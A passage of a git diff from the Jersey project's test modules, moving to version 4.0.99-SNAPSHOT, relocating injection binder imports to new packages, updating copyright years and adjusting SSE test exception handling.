-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
+import org.glassfish.jersey.model.internal.CommonConfig;
+import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.tests.e2e.common.TestRuntimeDelegate;
 
 import org.junit.jupiter.api.BeforeEach;
@@ -115,6 +118,7 @@
         injectionManager.register(new Binder());
 
         BootstrapBag bootstrapBag = new BootstrapBag();
+        bootstrapBag.setConfiguration(new CommonConfig(RuntimeType.SERVER, ComponentBag.INCLUDE_ALL));
         ContextResolverFactory.ContextResolversConfigurator configurator =
                 new ContextResolverFactory.ContextResolversConfigurator();
         configurator.init(injectionManager, bootstrapBag);
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java
index 29f460b..a1c2ed8 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,8 +21,8 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.spi.ExtendedExceptionMapper;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java
index 85f1ea6..b816e04 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,12 +29,12 @@
 import jakarta.ws.rs.ext.Providers;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.ContextResolverFactory;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
 import org.glassfish.jersey.internal.JaxrsProviders;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.message.internal.MessageBodyFactory;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java
index 67048f8..5b2ff24 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,7 @@
 package org.glassfish.jersey.tests.e2e.common.internal;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.ParamConverterConfigurator;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java
index 331a893..da68663 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -42,12 +42,12 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.hk2.CompositeBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 import org.glassfish.jersey.tests.e2e.common.TestRuntimeDelegate;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java
index 2b7bd58..4a382ac 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,9 +22,9 @@
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.ext.ExceptionMapper;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 
 /**
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java
index 961af30..8e4a6ef 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,7 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java
index d1b4d38..18657de 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,11 +40,11 @@
 import jakarta.annotation.Priority;
 import jakarta.inject.Inject;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.CommonConfig;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java
index 040aeb2..46e3e07 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,8 +28,9 @@
 import jakarta.inject.Named;
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
+import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.util.Producer;
@@ -208,7 +209,7 @@
     @BeforeEach
     public void setup() {
         injectionManager = Injections.createInjectionManager(this);
-        ExecutorProviders.registerExecutorBindings(injectionManager);
+        ExecutorProviders.registerExecutorBindings(injectionManager, RuntimeType.SERVER);
         injectionManager.completeRegistration();
     }
 
diff --git a/tests/e2e-entity/pom.xml b/tests/e2e-entity/pom.xml
index 3ad546e..53f374b 100644
--- a/tests/e2e-entity/pom.xml
+++ b/tests/e2e-entity/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-entity</artifactId>
@@ -138,11 +138,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-grizzly-connector</artifactId>
             <scope>test</scope>
         </dependency>
@@ -224,15 +219,6 @@
             </properties>
         </profile>
         <profile>
-            <id>test-suit</id> <!--due to the broadcast test failure after update to the latest junit platform suite -->
-            <activation>       <!--for JDK 11 (only in CI/CD job) it's required to used legacy junit version -->
-                <jdk>11</jdk>
-            </activation>
-            <properties>
-                <junit-platform-suite.version>${junit-platform-suite.legacy.version}</junit-platform-suite.version>
-            </properties>
-        </profile>
-        <profile>
             <id>sonar</id>
             <build>
                 <pluginManagement>
diff --git a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java
index c97bea3..0f7b854 100644
--- a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java
+++ b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java
@@ -97,12 +97,17 @@
                 }
 
                 @Override
-                public void close() {
+                public void close() /* TODO 4.0 throws IOException */ {
                     final String name = Thread.currentThread().getName();
                     LOGGER.info("onComplete called from " + name);
                     onCompleteThreadOk = name.startsWith(THREAD_PREFIX);
                     closeLatch.countDown();
-                    eventSink.close();
+                    try {
+                        eventSink.close();
+                    } catch (Exception e) {
+                        // TODO 4.0 throws
+                        throw new RuntimeException(e);
+                    }
                 }
             });
         }
diff --git a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java
index d0c22f6..248c8f4 100644
--- a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java
+++ b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2018, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -122,7 +122,7 @@
         @GET
         @Path("string")
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void sendString(@Context SseEventSink sink, @Context Sse sse) {
+        public void sendString(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             GenericEntity<String> ges = new GenericEntity<String>("Cindy") {
             };
             try (SseEventSink s = sink) {
@@ -133,7 +133,7 @@
         @GET
         @Path("pair")
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void sendPair(@Context SseEventSink sink, @Context Sse sse) {
+        public void sendPair(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             Pair<String, Integer> person = new Pair<>("Cindy", 30);
             GenericEntity<Pair<String, Integer>> entity = new GenericEntity<Pair<String, Integer>>(person) {
             };
@@ -145,7 +145,7 @@
         @GET
         @Path("list")
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void sendList(@Context SseEventSink sink, @Context Sse sse) {
+        public void sendList(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             Pair<String, Integer> person1 = new Pair<>("Cindy", 30);
             Pair<String, Integer> person2 = new Pair<>("Jack", 32);
             List<Pair<String, Integer>> people = new LinkedList<>();
diff --git a/tests/e2e-inject/cdi-inject-weld/pom.xml b/tests/e2e-inject/cdi-inject-weld/pom.xml
index aa5fea5..a53512c 100644
--- a/tests/e2e-inject/cdi-inject-weld/pom.xml
+++ b/tests/e2e-inject/cdi-inject-weld/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>e2e-inject</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject-cdi-inject-weld</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/pom.xml b/tests/e2e-inject/cdi2-se/pom.xml
index 51d9582..7c2c813 100644
--- a/tests/e2e-inject/cdi2-se/pom.xml
+++ b/tests/e2e-inject/cdi2-se/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>e2e-inject</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject-cdi2-se</artifactId>
diff --git a/tests/e2e-inject/hk2/pom.xml b/tests/e2e-inject/hk2/pom.xml
index f0a9c2a..7990083 100644
--- a/tests/e2e-inject/hk2/pom.xml
+++ b/tests/e2e-inject/hk2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>e2e-inject</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java
index 0826456..f573f14 100644
--- a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java
+++ b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.inject.hk2;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
diff --git a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java
index abc0981..d0bb564 100644
--- a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java
+++ b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java
@@ -18,7 +18,7 @@
 
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.InjectionManagerClientProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
diff --git a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java
index 90d29e5..ae938c8 100644
--- a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java
+++ b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.inject.hk2;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
diff --git a/tests/e2e-inject/non-inject/pom.xml b/tests/e2e-inject/non-inject/pom.xml
index e4d4a1b..a0f81ed 100644
--- a/tests/e2e-inject/non-inject/pom.xml
+++ b/tests/e2e-inject/non-inject/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>e2e-inject</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/e2e-inject/pom.xml b/tests/e2e-inject/pom.xml
index 024ef81..34f6292 100644
--- a/tests/e2e-inject/pom.xml
+++ b/tests/e2e-inject/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject</artifactId>
diff --git a/tests/e2e-jdk-specifics/pom.xml b/tests/e2e-jdk-specifics/pom.xml
index 0588537..b665f20 100644
--- a/tests/e2e-jdk-specifics/pom.xml
+++ b/tests/e2e-jdk-specifics/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-jdk-specifics</artifactId>
diff --git a/tests/e2e-server/pom.xml b/tests/e2e-server/pom.xml
index bfa987e..e2acc1a 100644
--- a/tests/e2e-server/pom.xml
+++ b/tests/e2e-server/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-server</artifactId>
@@ -143,7 +143,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
index 529b93b..7ef5b18 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,8 +43,8 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
 import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -53,7 +53,7 @@
 import org.junit.jupiter.api.Assertions;
 
 /**
- * This is base for tests testing enabling/disabling configuration property
+ * This is base for tests enabling/disabling configuration property
  * {@link org.glassfish.jersey.server.ServerProperties#METAINF_SERVICES_LOOKUP_DISABLE}.
  *
  * @author Libor Kramolis
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java
index 74d05f1..9b6ca3a 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,16 +33,15 @@
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory;
 import org.glassfish.jersey.inject.hk2.Hk2RequestScope;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.AnnotationLiteral;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.process.internal.RequestScope;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -69,18 +68,18 @@
         @Inject
         public MyApplication(InjectionManager injectionManager) {
             System.out.println("Registering injectables...");
-            ClassBinding<MyInjectablePerRequest> injectClassRequest =
+            Binding injectClassRequest =
                     Bindings.serviceAsContract(MyInjectablePerRequest.class)
                             .in(RequestScoped.class);
 
-            ClassBinding<MyInjectableSingleton> injectClassSingleton =
+            Binding injectClassSingleton =
                     Bindings.serviceAsContract(MyInjectableSingleton.class)
                             .in(Singleton.class);
 
-            InstanceBinding<MyInjectableSingleton> injectInstanceSingleton =
+            Binding injectInstanceSingleton =
                     Bindings.serviceAsContract(new MyInjectableSingleton());
 
-            ClassBinding<MyInjectablePerRequest> injectQualifiedClassRequest =
+            Binding injectQualifiedClassRequest =
                     Bindings.serviceAsContract(MyInjectablePerRequest.class)
                             .qualifiedBy(new MyQualifierImpl())
                             .in(RequestScoped.class);
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java
index 3c94e70..f3e6d8f 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.AnnotationLiteral;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java
index eebfc8c..3fac0e9 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,7 +40,7 @@
 import jakarta.inject.Inject;
 
 import org.glassfish.jersey.InjectionManagerProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java
index 4c5ec0d..9f4b8f5 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
